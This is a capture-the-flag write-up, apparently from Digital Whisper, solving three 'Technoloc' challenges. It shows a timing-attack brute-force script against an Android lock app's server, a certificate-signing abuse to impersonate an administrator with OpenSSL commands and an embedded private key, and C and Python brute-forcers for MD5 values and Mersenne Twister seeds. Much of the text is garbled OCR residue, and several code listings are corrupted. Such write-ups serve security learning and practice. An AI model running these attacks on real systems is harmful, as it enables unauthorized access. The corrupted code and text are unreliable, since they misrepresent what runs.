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Challenge #1

Technoloc

Welcome Agent.

A team of field operatives is currently on-site in enemy territory, working to retrieve intel
on an imminent terrorist attack.

The intel is contained in a safe, the plans for which are available to authonzed clients via

Our client ID is 24c847254b9341219d5644d10af01f1f
Your mission is to retrieve those plans, and allow our team to break into the safe.

Good luckl,
M|

CAPK L 7Zip,: - APKS L . Ll s i sds  xUAPK X " ILiks s ¥ . s x .2 X 11y
1. 1ZIP %X x« s 4s x4+ ] x ZIPArchivel ¥ xsa xp «1.x% |

Marme Size Packed Size
assets 21032 537 7782761
libr 44717 692 18148 022
[T META-INF 5028 2794
res 4525 4367
D AndroidManifest.xml 2672 970
[ classes.dex 155 892 74743
D FESOUTCES,arsc 1560 1560
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iWalk-LockSmither App

iWalk-LockSmither App
123

Password
123

Completed in: 5 milliseconds result is: false

> w

4 5 6 7 8 9 0

gwer tyuioop
asdf gh j kI
&4 z x cvbnmg@

7123 |, @ °
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L) 17« 4L xX s X s, 497 x o« 1, s X S L
L s L AMsL - Xx X (”“~ X
T O (RN N N s .1 s 17s < q4s s |]x X
|_-|'|,,)|_ Fov s X S < X ,,-Iq]v .o -ICJ”V . oL R I T
X -| L ”
LY XY T, T X Xl x o 4es s, x X DS 4T s .
P T I R TP SN v A4 s A L x x4 es S
S . X s s | x o s , ¢ X
> A
emulator - tcpdump emulator.cap -avd my_avd
HTTP Get @ _ <« % < 4. x Adginsl s XD x4, X7 10, .41 s L
Al s 4] s X s JedRC kS . S L X DX LIS )X S xy
=] DX « . S e X v oL = 17
15 9.1e4384 10.0.2.15 35.246.158.51 8070 HTTP 173 GET fauth/getUrl HTTP/1.1
17 9.178257  35.246.158.. 108.8.2.15 51234 HTTP 185 HTTP/1.1 288 OK (application/json)
28 9.353853 10.9.2.15 35.246.158.51 8070 HTTP 85 POST fauth/v2 HTTP/1.1 (application/json)
30 9.424697  35.246.158.. 108.8.2.15 51236 HTTP 287 HTTP/1.1 288 OK (application/json)
M Wireshark . Follow HTTP Stream (tep.stream eq 0) - emulator - ] o M VWireshark - Follow HTTP Stream (tep.stream eq 1) - emulator - O X
GET /fauth/getUrl HTTP/1.1 POST /[auth/v2 HTTP/1.1
user-agent: iWalk-v2 user-agent: iWalk-v2
accept-encoding: gzip content-type: application/json; charset=utf-8
content-length: @ accept-enceding: gzip
host: 35.246.158.51:887@ content-length: 31
host: 35.246.158.51:8078
HTTP/1.1 28@ OK
Content-Type: application/json {"seed":"123","Password":"456" }HTTP/1.1 206 OK
Date: Wed, @8 May 2019 19:12:88 GMT Content-Type: application/json
Content-Length: 23 Date: Wed, 88 May 2019 19:12:88 GMT
Content-Length: 45
{"AuthURL": " /auth/v2"}
{"IsValid":false,"LockURL": ™", " Time":9115496}
1 clianr pie. 1 sarver pie 1 turm. P —
Entire conversation {250 bytes) hd Show and save data as | ASCII - Entire conversation (346 bytes) - Show and save data as | ASCIT -
e fond Newl Find: H Find Next I
Filter Qut This Stream Print Save as... Back Close Help Filter Out This Stream Print Save as Back Close Help
L S AN x v X 'I S « .,
http://35.246.158.51:8070/auth/getUrl
L Il X
http://35.246.158.51:8070/auth/v2
N s S TimE ~ Xeo Ld e 1 x4 8 L. s LLY X x " 1" s
F XLl X7 <Ting Based Attatk~ - ' x .« _s sy X
L. X~ _ s 1xq s T es L e AT X e 1S w e PTS o T {
2Github » @« S« Lk~ X4 s L Lxo s x4y
201-9 xS X {.yysiTux .
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Fdd s L 1 d XD X s chitps://github.£om/iwalklocksmithersapp/server @« X s N

Db A 0 APIST "lax ox 1ixe o« x {1 *maingolr. % S L%

~

st 4l s s7 4 « - YAPK _ +rd 5> kX 4« 'x os

ffiWalk-Locks: old auth, depcrated developed by 06
/fthat is no longer with us
F/TODD: deprecated, remove from cCode

func vlAuth({w http.Responselriter, r *http.Request

APE L T s s . .. s .

func vlAuth (w http . ResponseWriter , r *http . Request ) {
userAgent := r. Header . Get( )
if userAgent =
returnServerError (w, r)
return

}

start = time . Now()

decoder := json . NewDecoder (r. Body)

var loginData LoginData

err = decoder . Decode (& loginData )

it err = nil {
ret := getResponseToken (start , false |,
returnToken (w, ret )
return

_, lock := range getLocks () {

if loginData .Seed != lock . Seed {
continue

}

currentindex =0
for currentindex < len (lock . Password ) && currentindex <
| en(loginData . Password ) {
if lock . Password [ currentindex ] != loginData . Password [ currentindex ] {
break
}

time . Sleep (30 * time . Millisecond
currentindex  ++

}

if  currentindex == len (lock . Password ) {
ret := getResponseToken (start , true , lock . Value )
returnToken (w, ret )
return

}

ret := getResponseToken (start , false |,
returnToken (w, ret )
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https://github.com/iwalk-locksmithers-app/server
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+ | Bruteforce' R I T Ay s ¥ d i o UserAgeaEs ., L x T X
s ¢ . s X TS HA AL s Txpye ] o4 . 1

> vv ~ v

calculate_pass.py:

import  json
import  urllib2
import  string

def (data ):
req =

urllib2 . Request (
req . add_header ( , 'application/json; charset=utf -8)
req . add_header ( , 'ed9ae2c0 -9bl15- 4556 -a393-23d500675d4b" )
req . add_header ( ]
res = urllib2 .urlo pen(req, json .dumps(data ))
return res

0:
current_pass
old_time =0
user_id =
while len (current_pass ) < 32:
for letter in string . printable
r = request ({ : user_id

. format (current_pass +tletter )}
time = json .loads (r.read ())[ ‘Time' ]
print letter , time
if time - old_time > 27000000 :

current_pass += letter
old_time = time
print  {} - winning letter is: {}' . format (len (current_pass ),

break

print , current_pass
print  request ({ . user_id : current_pass }). read ()

if __pname__ == ' main_'
calc_pass ()

password is: 1b857b9f65184203ac65ae0643dcOc3b
{"Is?a}%d":true,"LockURL":"hEtp://3d375632374147a786575384bbc92682.xyz/fdd56lf03f254e9f846c7e2d7fe79ale","Time":963414181}
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Technoloc

Success!

Well Donel

You have successfully finished your 1st mission.

This i1s your success token:You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge
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Challenge #2

Technolooi

Hello again, Agent.
Our team has successfully exfilirated the intel contained in the safe._

The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to
shoot down civilian aircraft.

While our field teams try to find the weapon, you must work to

Good luckl
M.

. hitps://missilesys.com 41 4~ X s+ .7 L. OXxX L0 v b A

s A4y sTx sl T4 4" Sofirkesl L o, XA XSIX L xT

11 s v, " s ¢ s =

1 1 https!/dev.missilesyssconis " I« 7~ 1 «.qubdgmain_

~

" You are not welcome hekebutyoucanbe > - 17" x ., X ¢ x LS P

r” r”
~ ~ ~ v o>
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 swmit

:Download ~ x - x "Supermanril23 4 p YA [ s x T o g F N

” X xCertificates +” wL- Coa Tl X1 0 s,

https://missilesys.com

L“:" X

S .« X's s I x s s N |_-|LSe1.¢ngSsx”,,\x:s o =s.|\v.|.|-||_| o
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Welcometd x 7 . ¢ 4% s sSuperntarmn + _ s Certificates -« x 7 ., 4 X x _
administrator + _  Certifficate ~ x < 4" + « 117 s Missile Systend Supermiann , | _ _ _
1,1 v A4 c41s 1. settings ot IXX L, AXuixxeexy A LUXJI{ s 0 0 L x T (8 X
DX LS M XTI e w4
_ _ . - xadministratot’ " _ ¢ _ _ s cestificater T % x _ 1 . X474 L TSXq s Lxs” {, X 1 s
S . X's S I x s X x "o " ]~
|User alreay exists!
« x s pfivatekeyx~ x s hiddensnputs 1 " . o411 _ ., x1s _ «4{s Tx 1,1
.csr

¢input id="privatekey"™ name="privatekey" tvpe="hidden":</input:
<input id="csr" name="csr" type="hidden"></input>

1 4vx X Lo X T A T e s o x TH s A Al s Ao T o

N T IS BT

.administrator + x s x CommohNames . . X :Certificate ~ « 1 1

=x,,-|:>s L. 1 sy S I , 1 . S

.S Writeups - X 4t 1 X x
Pl 1 o AT

+ Ok

O X  x o 9 X ] +Chain Of Trust : x 1 $ *G&mmon Authority< }- CA .1

~

XM Qertificater ~ ASA_ LXK Xoo A1
JhL P TGAL T X L 4 s |« Y s Qértificate Signing Request)- CSR .2
R T

L XA
X Tpx D CAS o~ *TLr GBRE Y ks X x s ] ox s T XS X

_ -~ Lertificate! x._x _ <+ ¥ 1% ICertificate

201-9 x5 X fywsiTuxo,
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T Y A R R I BT

Create private key |

Enteridentity information

Create and send

— — >
Certificate Signing Request
€ Issue and send
certificate
Store certificate )
with private key
hidden inputs2 + ” _ 4, x 1> _ T 7xx 4] 1 sCs Lyl T X, s
Certificate x " L+ 4 * {1 CSR_~.. 4™ Javagoriptx " « | "y x X 41 ™ |4 x7x"
-S © +  Common Name s X L 1 1 1Certificate o« , , *¢"*x * 11 Ll x X 1o
r 1 1 1~ cadmidistrator : x «
, X7 »~ « ICSR _rhiskikesys.coth + Common Name + , CSR1* " .~ .4 27« 1 _ x 7" {
CSRk Do ~ el -@éentificate 1 L | Pl X 7y P , v 8 i
‘Windows . Microsoft Management Conscfe  x ” . s

ﬁ Consolel - [Console Rooth\ Certificates - Current User]
i@ File Action View Favorites Window Help
e nmE 8l dz HE

| Console Root
;¥ Certificates - Current User

Legical Store Mame

| Trusted Root Certific Find Certificates..

Find Certificates... All Tasks ¥
Request New Certificate... Mew Window from Here
Import... Refresh

Create Custom Request... Advanced Operations » Help

Enroll On Behalf Of... - -

et on Bena o | Trusted People
Manage Enrollment Policies... | Client Authentication lssuers
—l | Other People

201-9 x5 X fywsiTuxo,
www.DigitalWhisper.co.il
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CSR  +

- O X

5 Certificate Enrollment
Certificate Information

I request, and then click Mext.

Click Mext to use the options already selected for this template, or click Details to customize the certificate

Details ~

Custom request

Key usage:
Application policies:

Validity period (days):

The following options describe the uses and validity period that apply to this type of certificate:

1) STATUS: Available

Properties

Cancel

Fde Xs Dox 17 s Propertied ¥, . 1L
missilesys.com - Common Name .1
Allow"-x Enable This Extensioh x | : s« 4 ( | s Rasic Constraints -~ « Extensior* .2
Private Key - 1 7 x1-_1.*xxI ¥ {Path Lengtks . __,  * "subject to issue certificates
14,15, Jscodd s 4. ixaEs d
Certificate Properties x
General Subject Extensions  Private Key
The following are the certificate extensions for this certificate type. ~
Key usage v
Extended Key Usage (application policies) v
Baczic constraints ~
The basic constraints extension is used to indicate whether the certificate is a CA
certificate or an end entity certificate.
[+] Enable this extension
Allow subject to issue certificates
Path length: | 10
Make the basic constraints extension critical
Include Symmetric algernthm v
Custom extension definition v
oK Cancel Apply
201-9 xS X 4wsiTux D
www.DigitalWhisper.co.il
20194 " X0A x4 LY
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. _ 7 CSRICSR . x 7 ox L, 0 oX 11. s 1: S R T R

"Certificates Enrollment Requests s 1 4 « 4 &

[

i
.’E‘ File Action View Favorites Window Help - || %
| 2| (=
| Console Root I lssued To . Issued By Expiration Date  Intended Purposes || Actions
v cm;"c““; Current User 5 missilesys.com missilesys.com  17-May-20 <All> Certificates -
Yo elrsco::iﬁcates More Actions »

| Trusted Root Certification Authorities
| Enterprise Trust
" Intermediate Certification Authorities
| Active Directory User Object
| Trusted Publishers
1 Untrusted Certificates
| Third-Party Reot Certification Authorities
| Trusted People
| Client Authentication Issuers
Other People
Local NonRemovable Certificates
| MSIEHistoryJournal
~ ] Certificate Enrollment Requests
| Certificates
| Smart Card Trusted Roots

PKCE&2 1V,,X x 11~ S 1 - )E\){(p‘Drt I.'-‘,'. “;:lllqu jcsvg’_] :,.."“ V”-on]"L”
. 1, X1  Wihdows:, X "M{].13X w¢)

~ v

- SL7 vy O PEM 1 e X D% 7T IPKGR2S] 4t o X s x s oo, T
.OpenSSL
'PEML PKC®2-, s . _ s

openssl pkcsl2 - in bla.pfx - nocerts - out key.pem

openssl rsa -inkey.pem - out privkey.key

- - X . Javascript Breakpoints _ _ .CSR 1 x 7oL FX T . oL

N

s L« 4y o« xs 4 Javascript !+ % Breakpeints- +x 4. _ " 4.! Chrom& . «

A Fx o1l 401 SR o

A

i ] Pretty-print this minified file?
T

19448 B e T

19441 function createPKCS1e(cn) {

19442 return Promise.resolve().then(() =»> createPKC51@Internal{cn)).then(() =» {

15443 var resultstring = "----- BEGIM CERTIFICATE REQUEST----- wrwnt;

19444 resultString = "${resultString}${formatPEM({toBasesd{arrayBufferTostringpkcslBBuffer)))} ;
19445 resultstring = "§{resultstring}irin----- EMWD CERTIFICATE REQUEST-----%rin”;

19446

19447 document.getElementById("csr").value = resultstring;

19448 document.getElementById("privatekey” ). value = window.privateKey;

Pdocument . querySelector("#signup form").submit();

P

Th

P

¥

P
[NT S =y~ )

window.createPKCS18 = createPKCS18;

P

P

P
v on

Bk b R R
Y W Y B Y Y
P
R R RG]

.

201-9 xS X . ¥WsiTux o
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11, s CSR, sex | x . 19449]s." Bréakpdint

>

X "

input id="privatekey” name="privatekey"” type="hidden"” wvalue="-----

MIIEv(IBADANBEkghkiGOWABAQEFAASCBKcwzeSjASEARDIBAQCEEMTRINFIENCD
BbdsYpcfLSc2tCF1TcAS081rPFUKi6Wkds JOul 3EVaruxy IVi8aMg 1 jWiWKIg8I 1
muHF IBadV3Fr7a9MMaexUTI 7AMCpeTLUvQZvTuGCAgqlr BPAVABZOVL Twe LKHW/WUE
THERuADNEYuZ FZ1kUL+ov3MnduglYUtdar31WeYISErt1P4iweb29q7EYPFhko
35zFJe2phek,/ JEPEDCLZZUGVIN3UQKaFuldznjhe2kUSvyywXnbws cVULYHE3UAZ
DTMFFpT+FX15N2zrAzVAhZISeBLpyTnYQu4dNvBL2DCY RMyXglsFctUbRBRHVVONRI
dBpPgB3bAgMBAAECESEAUMRTOUSRI®OBPaABE6NEjFROxG=NAVPHES42dfn2cin@
hTqlHADXRmg9802TsCxlgxjGlAigdyPyadfiPBe22LruszfmgNXi0jcbUPhEX00n
wHPQSUbzThoDwvdNg2xy4 XTI uH/D3DeIveBuWiNHZNFxj1ILEmrVkenf iaav+@inal]j
cOmaflvdxdyrFYD7E FxMcPIgUi@cKc8inYR3IB2vRMBA1QPAUKT 9/ Bdr@ps rChniM
1wlUKp2SppVImFwE7 KpFSPZtTda7POv+ks+TONITLwlax+0h/gBs80nwBR+zNRFe
EXOEfpnoiuHR1SwpnlT142w5ZcdF1zVmLbOULYZnEQKBgQDE9dZ Lop2F6Lo0jvgl
AlGgxkU8eeSn 1My ATOMIK3d IMFAgaMwSrY fmpd ZXSvRyMf 7 TugXqurBxkomCoEao
JgexPXYRPuADZRULgbATS/7rli2DaDEdDssaTu/badaPWYarxUBP7 20wmSFYFCPS
Sb-+HelebnbxF1ly1Tvlud+1iDAFAQKBeQDFrIFudvELiviQRsUF1WXKYA cmVE sgh+A+P
WMaXX1FAFFMNNeUG0nlItzCa5eEy4bTXF7sRnhl TgbyvecCwXYioHs0ahz11ad
TukzRKUwuSacnMs 6L cyZP+T Ikl gGumwoovhITFX1ugael pnlgM+xdaxduo7oT
v cyoyutewkBgQCKsygwhlA/ SHzcz+ L XCOkgS6fILWEg+BsFbk+ImS 1 TAmMdDFRx3 ]
ujhbixxiZo8A91F0pwQAa7IYTUCBWa+mE jkjBHE rm8SRVASUDIVEEX IrQsr1+IsR9
TPyuuNKsL7QZ+C66E Iohoge@cdmecjbtn/VD0s PEGWMevalT jpm+nr0jsQKBEHWA
tqugXnslglmfpdlXmmxQexB9kFgsaZ5vTCoajcHsMEqQhOOZEe TMYOM,/ cKGC IS5 Vagk
pPRUa4rk+6nbjPoxl7T3gk6G01K FcD3c TGSE4A]GoLCFtuQ0GiGuwEx3uEHObK sLk
w2w21+40AWC/ zgaHI 467 2A3jUagZbfluPsbz Y1 jAoGAWKXY iQKeHnF lpwn34Ge5
IxXIgC/gCHeRcNTi9WR31D+7FS3YWI1RzgovS3THKNItKELISAKCASE] 25+52TAQG
dylac59VijmTvyasre2U2+/4MZus3z2p2bBii3 1kMNT ciw2GXipv5ikawE4d5YHMu
BmkMVYNDIMGPLZgDrkXbQADI=

----- EMD RS5A PRIVATE KEY-----

BEGIMN R5A PRIVATE KEY-----

input id="csr” name="csr" type="hidden"” value="-----BEGIN CERTIFICATE REQUEST-----

MIICgjCCAWWCAQAWDZENMASGATUEAWWEMTI zNDCCASTWDQY I KoZ Thve NAQEBBQAD

I x " Certificates F X CPKECR2 L *xx". [ xCSk

a

X 4L admfinisttatotx ' x sCommon Nafnés _

a

openssl x509 -req -inadmin.req

CAcreateserial - out admin.crt

€ 1

CRE DT

- CA ca.cert - CAkey server.key

”

L Tos L. Certificates > | 7 H.admiher 1. | XCSR 14 X

Lo Ax " Cerfificate ~ 1% ™ « o Certificate s ¢ 1 «

:administrator ]

Select a certificate
Select a certificate to authenticate yourself to missilesys.com:443
Subject Issuer

administrator missilesys.com

Certificate information

F

DOAEC1015812243582
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Settingss ! x L 17 s .oous admihistratorl o HA XX W X IT A

:Telnet Debugging~ _ P % x X x © | o x <, = 147

‘Telret-s N F £ S 7« L . ¥R o X xs:vJ" " X Ak _|v>¢’_| J-"'Sv
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GET -

1. ¥elnet, _ x1 .7~

x

GET / HTTP/1.1

P

” ”n
RN LN
.

10.0.0.100

GET /settings HTTP/1.1

. DX HTTIP is_,

Y . 1100.0.1i80 s

" 12,80

REE

~

. X Managément Status s

x ”
L -

’”
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X soox "4 4" x x %, Radiect302 « s T¥s. X x _"X] . N

x 1 .~ _ B.5.4Cheroott Sefver . Headers Coe e L Cx WX s
Domains . «~ x s ., ¢ x  SetCaokies i Header ~~*{1 ¢ 1. . ASGET J « X7 4«
s+~ "] x¢ x 7 Xs missilesys.com < missilesystein.com1 x s Headerd _
PR X
I'x POST : « * 1 + PORPE HPs | _ cx s x4, , e
‘telnet/

w <form method="post” action="/telnet">
wodiv id="titles">»
wodiv id="ip_title" class="1level3d_title name":
<span class="name">IP</span>
<input name="1ip” class="value" type="text":> == &
<fdive
¥odiv id="port_title” class="level3_title wvalue":
£span class="name">Port</span:
<input name="port" class="value" type="text":
fdive
<fdive
wodiv id="console">
<textarea name="consoleinput” ild="consoleinput”™ cols="8@" rows="5@":»</textarea:

HTTP x ” utelnéts x L PORFIA @ x| s  POST 7 _ < %% !x LX)
‘Redirect * x _ x "setfingss L X+« | X LS _ ~ XS5 s4D& ~ o

POST /settings HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

ip=10.2.0.1&port=80

L Cookie r . kAT WA L el s 4y L 1% X Tl x

2019 x5 x {ywsiT.ux o,
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POST /settings HTTP/1.1
Content - Type: application/x - www form - urlencoded

Cookie:
SID=Z0FBQUFBQmMMzX2JmMktHWDJ5U2h3RE1mMXhwdWZXc3E5Sm1PT0d1bng2Qk5VYTMO
OF94NXZfUXcxeUFIMXBMQNNIUTRJITGI1IOXJ2Y]k3RTF3QVZWMORSb3F1cklyNDBsSUC1pUGR
cGVQTkOfd2tVbHc5Qm1LQk81lemRoVWpgRHdZamhKakJtSmRZRzh3aU1EQmM1yUXMxQkxsOG
WuUdkellXY25SemlySON5MnlsaWhDY050VzZxa3B1MGpWUIQ1IWURXWUk1SGFhZO0xrSEpJaE4l
YktrNDBoQmhFbzJkdXpBclI50W5sQIFBR2V]RNINTGFUVO011THVVZGVYalc2Q2IDRHQObDk2
MNVROQXBfaU5uWmpXdjJydkdxdGI3NzRDdWI2c2YOMjBMVU04MO0JfQkVTdG89

Content - Length: 19

ip =10.0.0.1&port =80

I I X% ]sc@ x

Success!

Well Donel

You have successfully finished your 2nd mission.

This is your success token:
ZOFBQUFBAQmMmMzX2JmMktHWDJ5U2h3RETmMXhwdWZXc3E5Sm1PT0d1bng2Qk5VY
TMOLVNmMOF94NXZTUXcxeUFIMXBMQnNIUTRJTGI10XJ2Yjk3RTF3IQVZWMORSb3F1c
kiyNDBsUC1pUGRhcGVQTk9fd2tVbHc5Qm1LQk8 TemRoVWpqgRHdZamhKakJtSmRZ
Rzh3aUT1EQm1yUXMxQkxsOG40WUdkelIXY255emlySON5SMnlsaWhDY050VzZxa3B1M
GpWUIQTWURXxWUK1SGFhZOxrSEpJaE41YktrNDBoQmhFbzJkdXpBclI5O0W5sQIFBR

2ViRnINTGFUV011THVvZGVYa1c2Q2/DRHQObDk2MWROQXBfaU5uWmpXdjJydkadxd
GI3NzZRDdWI2c2YOMjBMVUo4MOJfQKVTdG89
Please send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

If you do, please send us another email.

Take the Next Challenge
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Challenge #3

i

Technolooi

Hello again, Agent.

After you disabled the weapon system, we have successfully raided the terrorist
compound and took all present into custody.

The terrorists destroyed much of the data they kept, but we have managed to retrieve an

containing links to the other members of the network, as well as the
used to encrypt it.

Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer
markings on the front (Or._. Po___ Ltd_.) we don't know anything about it.

Hopefully that won't stop you from decrypting this important intel.

Good luckl,

M|

s ” | x s o { . s x 1 " 9 ‘s\,,’S"Jx:s”x.\x:f\‘x X X
Do Usages o X T L X4 ax s Ix X o sy X As HY v 41 4.

L |_| XYx a"xx=“JX)<"5Lx:‘|‘“ XL _Iqu

~ o

CS XXIDA § + SXIXSu xo s T ] x s 130041 w1 X "1
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:S,,JXMain_SL~XvJ X 7 S T« . 7!~ susﬁw SLSLFing's"X:)\S XL”‘~)X‘|,1-|AYS
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r N

401D00 (vl
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6 *
il

403ABO ( (charx

£ -+
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Technologic

s ¢ s Ly, pos X : s | ” . 141+« x4 s X, X" | xI{ x5

~ v ~ ~ > ~ S ~

S Xe 4SS T 4 XIsx X {i: X S (6]l A Sy X]{. 08 " | X wsq{ $ ¥y K]

~ a °

118, xsof ] o ps¥xe ¥

FAA ORI S s X D S 0 X L s X s X K 2]

L NN NS L T BN B S T

v o~ > ~ >

S «s,” R 5 ., % ¥ ps.C | X

~ >

1S s U L BCdDAY D x L LA s e Lt x| Xss T xIsx .

~ A v ~

P X d Pxx s s o8 X . s L CryptoL ¢ X X D X 4 o WsTx X

~ > v

X XK D XSY X TIPS O X ] e DY g T

B IR o0 I B TS AL I W TP EUC S L

cAS s e e S b TS T s S T )X
S X
XS WL LS e L U X e 8 X s, I WL X

Lo XL Ll ases o xs 4 oSt x ] s L x4 9% CIDA- WInAP

A ~ ~

XL TS 41 eSS xd x| L L XX fp oS

o~

S < " X « X X 9 7 q y x X q 1 . X S s X s ” | x I s s L

COffset™ s 4 o W T X TS Xl XxXGO [l x40 s C sy

sub_xx3ABO:

T4 s x oo x o s i xQOpeode T K sk g9 P Bdx. 44 T4 s

~ ~ ~ v

1 " ql y x X 4| { L X XX ox A DX S ] x "

~ A~ ~

201-9 xS X ysiTux o,
www.DigitalWhisper.co.il
28 20194 " X0A T x 4 L ¥




Technologic

:0x1355 «s™offset™ s 4.~ « ¥ X1 [ s 4. L

o L 1+ WinBbgs: 1~ . Bredkpeint + « s + d _ "~

Breakpoint @ hit
eax=0098bf68 ebx=089025d8 ecx=754f7861 edx=00086000 esi-00000081 edi-BB003C18

eip=881f1355 esp=886Tefec ebp=886feadd iopl=8 nv up ei pl nz na po nc
cs=0823 s5=882b ds=802b es=882b {s=0853 gs=882b efl-beaa82e2
EncryptSoftware+8x1355:
@81f1355 eB56276008 call EncryptSoftware+8x3ab8 (881f3aba)
L L

0:000> dc @eax
0032d170 baadfoed baadfeed baadfeed baadfeed

R 1l s 1 01 x . b, X XS S

0:000> dc d5e625
00d5e625 39637f9%e 141e03cb 8b979929 8boadocd

= (- o T BTN )¢ 0} A R A T i S U T T

> a v ~

0:000> dc @ebp-0x28
006feal8 00000010

> s {Bafferx {1 s L Ll X JFXO* . SStepover X " 4L X« x4 1]

P loxeax

0:000> dc 0032d170

0032d170 637f9%e41 1e03cb39 97992914 ©a40cd8b A..c9....

X 4 oSk Ry f memeopy.m ) Se TA X% o 4s s 0T x s f

s s x| 1 1A X 1 oxA XS o, L X, 1 MR

z(\. S . X « }_-IYXIV ,,\.J LX\. -I'I
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https://github.com/skywind3000/FastMemcpy/blob/master/FastMemcpy.h

Technologic

0x19 s Offset™

DS« X s s o @x9D2C5680 Crypto

0x9D2C5680 crypto

2 Al [E) Images (B News [] Videos

About 433 results (0.29 seconds)

Mersenne Twister - Wikipedia

CLoL Yy xy X ¢

30
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L1 X FAdx 0 s S x T, i x Yy e o xs s O
X 14 s s 4.1 L { +« s « X 4 10X% v q{s , S. XXssSgegd . X{: s
e R B
https://github.com/ESultanik/mtwister
i x « q{s S v , " s {7 L A s 4 .. "X Y X S X

.Randoms {1 .Sekds o 1°*

A~

gn
sub_407¢C

nst char *)L’

FFFFFFFE;
b_407CCA(

sub_407

sub_407F5

su b_407CAl
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https://github.com/ESultanik/mtwister

Technologic

- L F
2, &
)sub_401D00(Vv5);
v6);
Loutput-s  f s s L. 4 S 1 x s s s ox N S LT x s s
x s 4.7 ax X FAdY T4 ox Lo Lol Is e sy o s

.command_result.txt

APTER_INFO *)sub_407CCA(

\WInAPI
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'MSDN* s ¢ x « GefAdaptersinfo ~ 1 s s L T T
GetAdaptersinfo function
12/05/2018 - 4 minutes to read
The GetAdaptersinfo function retrieves adapter information for the local computer.
On Windows XP and later: Use the
GetAdaptersAddresses function instead of GetAdaptersinfo.
Syntax
C++ I-_B(Zopy
IPHLPAPI_DLL_LINKAGE ULONG GetAdaptersInfo(
PIP_ADAPTER_INFO AdapterInfo,
PULONG SizePointer
)i
L , . Netwotk Interface$ xAdapterss AL IR B A I
A4 exs ixeLp T4 x " Addréss S b {s < 8 X {® _ 4 STy
Macs e N N s-|“1[:\x|=s=’sq’,’,”js~‘-‘ Ll Chox oo XL
* 1 _ * Neétwork Adapters ! 1 -Address
S L « X s , 1 s s , x X% s X s {4 . W7 X s
S L, X< XS FIDAS XX~ 0 XX x4, o7 4 XS Lo S
Txxs{"]]x s s . Mact X XA e S L _r MDB.L S B2+ 1. 144
OXOA 1. LOXAB ¥5 _ s = s<Xs s,x.* | {I%X162MB5 1% L1 ¢
T x .0x0B ¢ *
S MD5_, - "Xy o ox o AER56 r_iSd L.X Yol p 0 XX s L2 Ty
b A4 SRioss L. AL~ d-44 5 ST Lxi Xii%s KMAGE. % L6 1 %
s L
2019  x LS X 4. ¥y siTx .
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S v . s AL sTx ] s x 4 Xs it 4~-4 35 6 S IR

+ boxo o  mtwiSter sy - 4 -~ Seedl ~ £ S X ¢ A : x s T X

DX e e sl TXMBSsSss L XL 132 IS4 L, s e A o x o o
”v~~ I_'i:
gmemcpy ( (copy_of
38924 s ¢ x " s, X)) T oo x s b4 s lxy .8 471wxy

D« v 4, 4739) , x S x chumks _ L) X ¥ X x 136932-+ § ~ i+ R992 X (
v b A 4. x 49 ST L s L) X6 S twidter-¥ S X" X Ys.s] .o

A s x| . S X T

~
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Fdoloxs S X .« XQR, X Hi  .5F 4 Buffers L Doe L L 91 A

X
1 - vs~_AxI”-|><vss =>‘xs x L. 1 .S N S PR I I
4 Shioss L. AL d-44 s s lxiq%s ., MAGSL L X 614X Ot ] . x
x 1_s 14 s 11 s

Xl N TtT2SX S5 s . X Ts s x ., si{q{s X ] s

DX X ox ] x4 7 X S 1,411 R SR I DX, X 1 s

S DX x DX 44X MAG S k] s x s o 4 X4 x 0, MACT -
MAC

DS e Xs s {MAC T Xxx 7D LABIFAL L kA1 s TRLINK s 4 X 1 ¢, s

https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e

Orient Power Home : s « * s s . X 1L x "oy s X Do X7 REOEXK (S, 0 1%s

1, 001337 + MACG* s L _ ¢ 1 " Network Ltd o _

: s Regexs
.*Or. *[]. *Po. *LTD.

L Brutéeforce' x " i 1 x X x Lox MD5H T b

co s 1 AMD&s s o -
import  hashlib

wanted_md5 = '0949b46b73e3af6f5afc81955367295¢

for i in xrange(0x100):

for j in xrange(0x100):
for x in xrange(0x100):
if  hashlib.md5('intel.txt' + "\ x00\ x13\ x37" + chr(i) + chr(j) +
chr(x)).hexdigest() == wanted_md5:
print  hex(i), hex(j), hex(x)
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O0x8e Oxab Ox66

Hard Drive Serial

4-s . XS '|Z>vs CF 1 ox XOR,V”VF“

. . A}_|:-|-|v,,SX YL )y Si «s "(> . S S . X
Toax s o xxeo s 1 4s b X L Hatd D1 . o e o4 s 0 e T X
4s T4 XL XOR L sx T4 Xexs ooDx o+ {10x331BO08A T A1 x X s b8 |

0x531BO08BA " 0x632B30BA = 0x30303030

J dv 4.8, 1T1s xQ000 sw ™. 1 "1 x«

Bios Serial
Jxod e s X rd e x s, x e T ds x4 s X X sy
s Github™ XL x4 s mtwistér-8 « + : { - X Y ¥ T AES x| 1+ XxsX
T ow XS = x "y x X S s X I x
1, *Seeds * 7 4 1
10 _ %t 7% 1.2
X XExX s x )" X 8 ¥ x 3
] 1 s‘_,,"~ I x o x " ox
#include  <stdio.h >
#include  "mtwister/mtwister.h"
int  wanted_random = 0x308b55ce " 0x30303030;
int  main()
{
for (inti = 0;i <= OXFFFFFFFF;i ++){
MTRand rand = seedRand(i);
if  (genRandLong(&rand) == wanted_random) {
printf(  "Success! Seed is %x \r\n"i);
}
}
return  O;
x 7ox ] Fodof D s s T Il dx 1 x Ty T« Lhoxee 114~ Ix s
Fdox s X "4 T ASCH Y T 4 431X x5 T ~d4~4, s s 1 "s x " L .
F1 O ASCHH x x0T e g s ] ISl X X xix sy X
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#include <stdio.h >
#include "mtwister/mtwi ster.h"

int  wanted_random = 0x308b55ce " 0x30303030;

int  main()
{
int skip = 0;
for (inti =
skip 0;
char *num = (char *)&i;
for — (int] =0;] <4 ++) {
if  (numlj] < 0x30 || num[] >= 0x7b){
skip = 1;
break ;

0x30303030; i < Ox7b7b7b7b;i  ++){
*

}
}
it (skip) {

continue
}

MTRand rand = seedRand(i);
if  (genRandLong(&rand) == wanted_random) {
printf(  "Success! Seed is %x \r\n"i);
}
}

return 0;

XX v).|s~\ Xss, X p SX ! x v X (R PPN s X Z,_)Js.|><xx : J,,~><|_ X x 1. I x

A v o~ >

A0 XXX SRS 0 S Y A XO3X ¥ L

- 0 brute -m32 - 03

'S v . XS:!”ss X

L R B I L S e 1 - VMwe' | Y s, 17 1S SX o Y

Ut os o x oy YRedypt1i s X L A L X e .0 x4 s s
